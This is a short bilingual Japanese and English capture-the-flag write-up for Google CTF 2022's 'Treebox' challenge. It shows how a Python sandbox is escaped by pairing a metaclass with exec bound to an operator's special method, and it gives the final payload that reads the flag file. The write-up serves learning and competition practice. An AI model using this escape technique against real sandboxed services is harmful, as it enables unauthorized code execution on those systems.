Treebox

TCPサーバの接続情報とファイルが与えられた。
このファイルを7-Zipで開くと、ファイル treebox.py が得られた。

treebox.py を読むと、以下のことが読み取れた。

そこで、Pythonで直接メソッドの呼び出しを書かずにメソッドを呼び出す方法を探した。
すると、メタクラスというものがあることがわかった。
インタラクティブモードで試してみると、クラス名だけでメタクラスに指定したクラスのインスタンスを作れることがわかった。

A file and information to connect to a TCP server were given.
Opening the file with 7-Zip, I found a file treebox.py.

Reading treebox.py, I found these things:

Seeing this, I searched for ways to call methods without writing method calls directly.
As a result, I found metaclasses.
Trying on the interactive mode, I found that we can create an instance of a class specified as the metaclass using only a name of a class.

>>> class test1: ... def __init__(self, a, b, c): ... pass ... >>> class test2(metaclass=test1): ... pass ... >>> test2 <__main__.test1 object at 0x0000013ED4A90D00> >>>

さらに、演算子から呼び出せる特殊メソッドを用いてexecメソッドを呼び出すことを試みた。
一見第一引数の self が邪魔になりそうに思えるが、インタラクティブモードで試してみると self に相当する引数は渡らないことがわかった。

After that, I tried to call the exec method via special methods that can be called from operators.
The first argument self looked like an obstacle, but an experiment on the interactive mode revealed that no arguments that correspond to self are actually passed.

>>> class test(str): ... __neg__ = exec ... >>> t = test("print(1)") >>> -t Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: exec expected at least 1 argument, got 0 >>>

これらを踏まえ、以下のプログラムを送信することでflagが得られた。

Based on these, I obtained the flag by sending this program.

class ExecerMeta: def __init__(self, a, b, c): pass __lt__ = exec class Execer(metaclass=ExecerMeta): pass Execer < "print(open('flag').read())"
CTF{CzeresniaTopolaForsycja}

Google Capture the Flag 2022